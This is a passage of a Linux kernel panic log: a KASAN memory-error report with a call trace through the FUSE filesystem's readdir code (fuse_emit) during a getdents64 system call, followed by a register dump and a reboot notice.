13.585465] dump_stack_lvl+0x4d/0x70 [ 13.585606] vpanic+0xd8/0x2f0 [ 13.585766] panic+0xc9/0xc9 [ 13.585969] ? __pfx_panic+0x10/0x10 [ 13.586114] ? panic_on_this_cpu+0x15/0x30 [ 13.586237] ? _raw_spin_unlock_irqrestore+0x11/0x40 [ 13.586377] ? check_panic_on_warn+0x2f/0x60 [ 13.586500] end_report.cold+0x65/0x75 [ 13.586619] kasan_report+0xeb/0x110 [ 13.586764] ? fuse_emit+0x2e3/0x490 [fuse] [ 13.587174] ? fuse_emit+0x2e3/0x490 [fuse] [ 13.587517] kasan_check_range+0x125/0x200 [ 13.587652] __asan_memcpy+0x3c/0x60 [ 13.587845] fuse_emit+0x2e3/0x490 [fuse] [ 13.588255] fuse_readdir_uncached+0x7ab/0xc40 [fuse] [ 13.588620] ? fuse_do_getattr+0x270/0x3a0 [fuse] [ 13.589049] ? __pfx_fuse_readdir_uncached+0x10/0x10 [fuse] [ 13.589415] ? __pfx_fuse_do_getattr+0x10/0x10 [fuse] [ 13.589792] ? up_read+0x1b/0xa0 [ 13.589985] ? sysvec_apic_timer_interrupt+0xe/0x80 [ 13.590175] ? __pfx_down_read_killable+0x10/0x10 [ 13.590313] ? mutex_lock+0x80/0xd0 [ 13.590424] ? selinux_file_permission+0x201/0x260 [ 13.590569] iterate_dir+0xe6/0x250 [ 13.590711] ? fdget_pos+0x132/0x210 [ 13.590907] ? __hrtimer_next_event_base+0xee/0x100 [ 13.591106] __x64_sys_getdents64+0xea/0x1a0 [ 13.591245] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 13.591385] ? __pfx_filldir64+0x10/0x10 [ 13.591509] ? schedule+0x54/0x140 [ 13.591616] do_syscall_64+0xa4/0x2f0 [ 13.591765] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 13.591995] RIP: 0033:0x426e9d [ 13.592114] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 f0 ff ff ff f7 d8 64 89 01 48 [ 13.592482] RSP: 002b:00007ffc66dd0a28 EFLAGS: 00000246 ORIG_RAX: 00000000000000d9 [ 13.592705] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 0000000000426e9d [ 13.592944] RDX: 0000000000004000 RSI: 00007ffc66dd2b40 RDI: 0000000000000004 [ 13.593129] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 13.593288] R10: 0000000000000001 R11: 0000000000000246 R12: 00007ffc66dd2b40 [ 13.593445] R13: 00007ffc66dd6cd8 R14: 00007ffc66dd0a40 R15: 00000000004b4100 [ 13.593623] [ 13.594228] Kernel Offset: 0x9c00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 13.594714] Rebooting in 1 seconds..